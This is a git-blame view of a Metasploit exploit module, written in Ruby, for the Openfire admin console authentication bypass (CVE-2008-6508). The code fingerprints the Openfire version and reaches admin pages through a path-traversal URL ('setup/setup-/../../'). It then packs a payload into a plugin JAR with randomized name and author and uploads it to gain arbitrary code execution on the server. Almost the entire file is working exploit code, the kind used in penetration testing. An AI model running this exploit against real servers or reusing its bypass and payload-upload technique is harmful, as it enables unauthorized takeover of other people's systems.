Files
metasploit-gs/modules/exploits/multi/http/openfire_auth_bypass.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

223 lines
6.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-27 16:57:04 -05:00
##
require 'rex/zip'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Openfire Admin Console Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the administration
2012-06-27 23:15:40 +02:00
console of Openfire servers. By using this vulnerability it is possible to
upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
code. This module has been tested against Openfire 3.6.0a.
2013-08-30 16:28:54 -05:00
It is possible to remove the uploaded plugin after execution, however this might turn
2012-06-27 23:15:40 +02:00
the server in some kind of unstable state, making re-exploitation difficult. You might
want to do this manually.
},
2012-06-27 23:15:40 +02:00
'Author' =>
[
'Andreas Kurtz', # Vulnerability discovery
2012-06-27 16:57:04 -05:00
'h0ng10' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-6508' ],
[ 'OSVDB', '49663' ],
[ 'BID', '32189' ],
2012-06-27 23:15:40 +02:00
[ 'EDB', '7075' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2008-11-10',
'Privileged' => true,
'Platform' => %w{ java linux win },
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# Java version
#
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
#
2012-06-27 23:15:40 +02:00
# Platform specific targets
#
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
]
],
2012-07-02 14:15:14 -05:00
'DefaultTarget' => 0
))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(9090),
2012-06-27 23:15:40 +02:00
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
])
end
2013-08-30 16:28:54 -05:00
def post_auth?
true
end
def check
2013-01-30 23:23:41 -06:00
base = target_uri.path
2012-06-27 23:15:40 +02:00
base << '/' if base[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
path = normalize_uri(base, "login.jsp")
res = send_request_cgi(
{
'uri' => path
2012-06-27 23:38:52 +02:00
})
2013-08-30 16:28:54 -05:00
if (not res) or (res.code != 200)
2014-01-21 14:10:35 -06:00
vprint_error("Unable to make a request to: #{path}")
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2012-06-27 23:15:40 +02:00
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
2013-08-30 16:28:54 -05:00
if versioncheck.nil? then
2014-01-21 14:10:35 -06:00
vprint_error("Unable to detect Openfire version")
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2014-01-21 14:10:35 -06:00
vprint_status("Detected version: #{$1}.#{$2}.#{$3}")
2012-06-27 23:15:40 +02:00
version = "#{$1}#{$2}#{$3}".to_i
2013-08-30 16:28:54 -05:00
2012-06-27 23:15:40 +02:00
return Exploit::CheckCode::Safe if version > 360
2013-08-30 16:28:54 -05:00
# Just to be sure, try to access the log page
2012-06-27 23:15:40 +02:00
path = "#{base}setup/setup-/../../log.jsp"
res = send_request_cgi(
{
'uri' => path
2012-06-27 23:38:52 +02:00
})
2013-08-30 16:28:54 -05:00
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
2012-06-27 23:15:40 +02:00
return Exploit::CheckCode::Unknown
end
2013-08-30 16:28:54 -05:00
2014-01-24 12:08:23 -06:00
Exploit::CheckCode::Appears
end
2013-08-30 16:28:54 -05:00
def get_plugin_jar(plugin_name)
files = [
[ "logo_large.gif" ],
[ "logo_small.gif" ],
[ "readme.html" ],
[ "changelog.html" ],
[ "lib", "plugin-metasploit.jar" ]
]
2013-08-30 16:28:54 -05:00
jar = Rex::Zip::Jar.new
2023-07-14 12:47:04 -05:00
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "openfire_plugin"))
2013-08-30 16:28:54 -05:00
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
2013-08-30 16:28:54 -05:00
2023-07-14 12:47:04 -05:00
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "openfire_plugin", "plugin.xml"), "rb") {|fd| fd.read() }
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
2013-08-30 16:28:54 -05:00
jar.add_file("plugin.xml", plugin_xml)
2013-08-30 16:28:54 -05:00
jar
end
2013-08-30 16:28:54 -05:00
def exploit
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
2012-06-27 23:15:40 +02:00
base << '/' if base[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
plugin = get_plugin_jar(plugin_name)
2013-08-30 16:28:54 -05:00
arch = target.arch
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
2013-08-30 16:28:54 -05:00
2012-06-27 23:38:52 +02:00
if (p = exploit_regenerate_payload(plat, arch)) == nil
print_error("Failed to regenerate payload")
return
end
2013-08-30 16:28:54 -05:00
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
plugin.build_manifest
2013-08-30 16:28:54 -05:00
# Upload the plugin to the server
print_status("Uploading plugin #{plugin_name} to the server")
boundary = rand_text_alphanumeric(6)
2013-08-30 16:28:54 -05:00
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
data << plugin.pack
data << "\r\n--#{boundary}--"
2013-08-30 16:28:54 -05:00
res = send_request_cgi({
2014-05-25 19:29:39 +02:00
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
'method' => 'POST',
'data' => data,
2015-04-17 13:59:49 -05:00
'encode_params' => false,
2014-05-25 19:29:39 +02:00
'headers' => {
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
},
'vars_get' => {
'uploadplugin' => nil
}
2012-06-27 23:38:52 +02:00
})
2013-08-30 16:28:54 -05:00
print_warning("Warning: got no response from the upload, continuing...") if !res
2013-08-30 16:28:54 -05:00
# Delete the uploaded JAR file
2012-06-27 16:57:04 -05:00
if datastore['REMOVE_PLUGIN']
2012-06-27 23:15:40 +02:00
print_status("Deleting plugin #{plugin_name} from the server")
res = send_request_cgi({
2014-05-25 19:29:39 +02:00
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
2015-04-17 13:59:49 -05:00
'encode_params' => false,
2014-05-25 19:29:39 +02:00
'headers' => {
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
},
'vars_get' => {
'deleteplugin' => plugin_name.downcase
}
2012-06-27 23:15:40 +02:00
})
if not res
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
end
end
end
end